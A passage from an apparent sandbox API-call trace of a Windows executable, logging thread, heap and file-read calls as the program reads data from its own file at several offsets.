0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.821] GetLastError () returned 0x0 [0074.821] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.822] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.823] GetCurrentThreadId () returned 0x9b0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetLastError () returned 0x0 [0074.824] GetLastError () returned 0x0 [0074.824] GetLastError () returned 0x0 [0074.824] GetLastError () returned 0x0 [0074.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.824] GetLastError () returned 0x0 [0074.824] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.824] GetFileType (hFile=0x1ec) returned 0x1 [0074.824] GetLastError () returned 0x0 [0074.824] GetCurrentThreadId () returned 0x9b0 [0074.824] GetLastError () returned 0x0 [0074.824] GetFileType (hFile=0x1ec) returned 0x1 [0074.824] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0074.825] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.825] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.825] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.825] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.825] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.825] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.825] GetLastError () returned 0x0 [0074.825] GetCurrentThreadId () returned 0x9b0 [0074.825] GetLastError () returned 0x0 [0074.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0074.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201f8 | out: hHeap=0x2ad0000) returned 1 [0074.825] GetLastError () returned 0x0 [0074.825] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7031804, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x6b4bfc [0074.825] GetLastError () returned 0x0 [0074.825] GetCurrentThreadId () returned 0x9b0 [0074.825] GetLastError () returned 0x0 [0074.825] GetCurrentThreadId () returned 0x9b0 [0074.825] GetLastError () returned 0x0 [0074.825] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7321005, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x6fb5ad [0074.825] GetLastError () returned 0x0 [0074.825] GetCurrentThreadId () returned 0x9b0 [0074.826] GetLastError () returned 0x0 [0074.826] GetCurrentThreadId () returned 0x9b0 [0074.826] GetCurrentThreadId () returned 0x9b0 [0074.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1597) returned 0x2aa2198 [0074.826] GetLastError () returned 0x0 [0074.826] ReadFile (in: hFile=0x1ec, lpBuffer=0x2aa21ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83b8, lpOverlapped=0x0 | out: lpBuffer=0x2aa21ac*, lpNumberOfBytesRead=0x9b83b8*=0x1000, lpOverlapped=0x0) returned 1 [0074.826] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2cc54e0*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0074.827] GetLastError () returned 0x0 [0074.827] GetCurrentThreadId () returned 0x9b0 [0074.827] GetLastError () returned 0x0 [0074.827] GetCurrentThreadId () returned 0x9b0 [0074.827] GetLastError () returned 0x0 [0074.827] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x6fd5ad [0074.827] GetLastError () returned 0x0 [0074.827] GetCurrentThreadId () returned 0x9b0 [0074.827] GetLastError () returned 0x0 [0074.827] GetLastError () returned 0x0 [0074.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc54e0 | out: hHeap=0x2ad0000) returned 1 [0074.827] CloseHandle (hObject=0x1ec) returned 1 [0074.827] GetLastError () returned 0x0 [0074.827] GetCurrentThreadId () returned 0x9b0 [0074.827] GetLastError () returned 0x0 [0074.827] GetLastError () returned 0x0 [0074.827] GetCurrentThreadId () returned 0x9b0 [0074.827] GetLastError () returned 0x0 [0074.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3026050, Size=0x33d7) returned 0x3026050 [0074.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2198 | out: hHeap=0x2ad0000) returned 1 [0074.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8028, Size=0x20) returned 0x2a1f920 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a18f80 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a19428 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2ac0618 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0618, Size=0xb8) returned 0x2ac9890 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9890, Size=0xe8) returned 0x2c372f8 [0074.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41d) returned 0x2cd0228 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c372f8, Size=0x120) returned 0x2cb5bc0 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5bc0, Size=0x160) returned 0x2cb6ed8 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6ed8, Size=0x1a8) returned 0x2cb84f8 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb84f8, Size=0x1f8) returned 0x2c30bb8 [0074.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b3) returned 0x2c2c468 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c30bb8, Size=0x250) returned 0x2ac33b8 [0074.828] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac33b8, Size=0x2b4) returned 0x2c2bc10 [0074.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c2bc10 | out: hHeap=0x2ad0000) returned 1 [0074.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9c98 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7d90 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] GetCurrentThreadId () returned 0x9b0 [0074.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.830] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0074.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7930 [0074.830] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8880 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] GetCurrentThreadId () returned 0x9b0 [0074.830] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8880 | out: hHeap=0x2ad0000) returned 1 [0074.831] GetCurrentThreadId () returned 0x9b0 [0074.831] GetCurrentThreadId () returned 0x9b0 [0074.831] GetCurrentThreadId () returned 0x9b0 [0074.831] GetLastError () returned 0x0 [0074.831] GetLastError () returned 0x0 [0074.831] GetLastError () returned 0x0 [0074.831] GetLastError () returned 0x0 [0074.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8ae90 [0074.831] GetLastError () returned 0x0 [0074.831] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b78d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.831] GetFileType (hFile=0x1ec) returned 0x1 [0074.831] GetLastError () returned 0x0 [0074.831] GetCurrentThreadId () returned 0x9b0 [0074.831] GetLastError () returned 0x0 [0074.831] GetFileType (hFile=0x1ec) returned 0x1 [0074.831] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7954 | out: lpFileInformation=0x9b7954) returned 1 [0074.831] FileTimeToLocalFileTime (in: lpFileTime=0x9b7968, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.831] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.832] FileTimeToLocalFileTime (in: lpFileTime=0x9b7960, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.832] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.832] FileTimeToLocalFileTime (in: lpFileTime=0x9b7958, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0074.832] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0074.832] GetLastError () returned 0x0 [0074.832] GetCurrentThreadId () returned 0x9b0 [0074.832] GetLastError () returned 0x0 [0074.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0074.832] GetLastError () returned 0x0 [0074.832] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7326511, lpDistanceToMoveHigh=0x9b7a08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7a08*=0) returned 0x6fcb2f [0074.832] GetLastError () returned 0x0 [0074.832] GetCurrentThreadId () returned 0x9b0 [0074.832] GetLastError () returned 0x0 [0074.832] GetCurrentThreadId () returned 0x9b0 [0074.832] GetLastError () returned 0x0 [0074.832] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=6906736, lpDistanceToMoveHigh=0x9b7da0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7da0*=0) returned 0x696370 [0074.832] GetLastError () returned 0x0 [0074.832] GetCurrentThreadId () returned 0x9b0 [0074.832] GetLastError () returned 0x0 [0074.832] GetCurrentThreadId () returned 0x9b0 [0074.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2422) returned 0x2cbc818 [0074.833] GetLastError () returned 0x0 [0074.833] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cbc82c, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9b7d68, lpOverlapped=0x0 | out: lpBuffer=0x2cbc82c*, lpNumberOfBytesRead=0x9b7d68*=0x2000, lpOverlapped=0x0) returned 1 [0074.833] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d54, lpOverlapped=0x0 | out: lpBuffer=0x2cc54e0*, lpNumberOfBytesRead=0x9b7d54*=0x1000, lpOverlapped=0x0) returned 1 [0074.833] GetLastError () returned 0x0 [0074.833] GetCurrentThreadId () returned 0x9b0 [0074.833] GetLastError () returned 0x0 [0074.833] GetCurrentThreadId () returned 0x9b0 [0074.833] GetLastError () returned 0x0 [0074.833] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b6a2c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b6a2c*=0) returned 0x699370 [0074.833] GetLastError () returned 0x0 [0074.833] GetCurrentThreadId () returned 0x9b0 [0074.833] GetLastError () returned 0x0 [0074.833] GetLastError () returned 0x0 [0074.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc54e0 | out: hHeap=0x2ad0000) returned 1 [0074.833] CloseHandle (hObject=0x1ec) returned 1 [0074.834] GetLastError () returned 0x0 [0074.834] GetCurrentThreadId () returned 0x9b0 [0074.834] GetLastError () returned 0x0 [0074.834] GetLastError () returned 0x0 [0074.834] GetCurrentThreadId () returned 0x9b0 [0074.834] GetLastError () returned 0x0 [0074.834] GetLastError () returned 0x0 [0074.834] GetCurrentThreadId () returned 0x9b0 [0074.834] GetLastError () returned 0x0 [0074.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bc48 | out: hHeap=0x2ad0000) returned 1 [0074.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3026050 | out: hHeap=0x2ad0000) returned 1 [0074.834] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3033c50, Size=0x669b) returned 0x3033c50 [0074.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e2) returned 0x2cd0908 [0074.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.834] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f50, Size=0x20) returned 0x2a1fb78 [0074.834] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18d40 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a19b98 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0ad8 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ad8, Size=0xb8) returned 0x2ac8e10 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac8e10, Size=0xe8) returned 0x2c36e48 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c36e48, Size=0x120) returned 0x2cb5a98 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5a98, Size=0x160) returned 0x2cb78b0 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb78b0, Size=0x1a8) returned 0x2cb84f8 [0074.835] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x252) returned 0x30e5b58 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb84f8, Size=0x1f8) returned 0x2c2fd80 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2fd80, Size=0x250) returned 0x2ac5098 [0074.835] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac5098, Size=0x2b4) returned 0x2c2c1a0 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3f7) returned 0x2cba8f8 [0074.836] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2c1a0, Size=0x324) returned 0x2bab298 [0074.836] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bab298, Size=0x3a4) returned 0x2aa2198 [0074.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2198 | out: hHeap=0x2ad0000) returned 1 [0074.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3033c50 | out: hHeap=0x2ad0000) returned 1 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9fa8 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0074.836] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7070 | out: hHeap=0x2ad0000) returned 1 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] GetCurrentThreadId () returned 0x9b0 [0074.836] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0074.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.837] GetLastError () returned 0x0 [0074.837] GetLastError () returned 0x0 [0074.837] GetLastError () returned 0x0 [0074.837] GetLastError () returned 0x0 [0074.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af10 [0074.837] GetLastError () returned 0x0 [0074.837] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7288, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.837] GetFileType (hFile=0x1ec) returned 0x1 [0074.837] GetLastError () returned 0x0 [0074.837] GetCurrentThreadId () returned 0x9b0 [0074.838] GetLastError () returned 0x0 [0074.838] GetFileType (hFile=0x1ec) returned 0x1 [0074.838] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7304 | out: lpFileInformation=0x9b7304) returned 1 [0074.838] FileTimeToLocalFileTime (in: lpFileTime=0x9b7318, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.838] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.838] FileTimeToLocalFileTime (in: lpFileTime=0x9b7310, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.838] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.838] FileTimeToLocalFileTime (in: lpFileTime=0x9b7308, lpLocalFileTime=0x9b7348 | out: lpLocalFileTime=0x9b7348) returned 1 [0074.838] FileTimeToSystemTime (in: lpFileTime=0x9b7348, lpSystemTime=0x9b7338 | out: lpSystemTime=0x9b7338) returned 1 [0074.838] GetLastError () returned 0x0 [0074.838] GetCurrentThreadId () returned 0x9b0 [0074.838] GetLastError () returned 0x0 [0074.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.838] GetLastError () returned 0x0 [0074.838] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=6915965, lpDistanceToMoveHigh=0x9b73b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b73b8*=0) returned 0x69877d [0074.838] GetLastError () returned 0x0 [0074.838] GetCurrentThreadId () returned 0x9b0 [0074.838] GetLastError () returned 0x0 [0074.838] GetCurrentThreadId () returned 0x9b0 [0074.838] GetCurrentThreadId () returned 0x9b0 [0074.838] GetLastError () returned 0x0 [0074.839] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7879421, lpDistanceToMoveHigh=0x9b7750*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7750*=0) returned 0x783afd [0074.839] GetLastError () returned 0x0 [0074.839] GetCurrentThreadId () returned 0x9b0 [0074.839] GetLastError () returned 0x0 [0074.839] GetCurrentThreadId () returned 0x9b0 [0074.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x52ea) returned 0x3026050 [0074.839] GetLastError () returned 0x0 [0074.839] ReadFile (in: hFile=0x1ec, lpBuffer=0x3026064, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x9b7718, lpOverlapped=0x0 | out: lpBuffer=0x3026064*, lpNumberOfBytesRead=0x9b7718*=0x5000, lpOverlapped=0x0) returned 1 [0074.839] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc44d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7704, lpOverlapped=0x0 | out: lpBuffer=0x2cc44d8*, lpNumberOfBytesRead=0x9b7704*=0x1000, lpOverlapped=0x0) returned 1 [0074.839] GetLastError () returned 0x0 [0074.839] GetCurrentThreadId () returned 0x9b0 [0074.839] GetLastError () returned 0x0 [0074.839] GetCurrentThreadId () returned 0x9b0 [0074.839] GetLastError () returned 0x0 [0074.839] SetFilePointer (in: 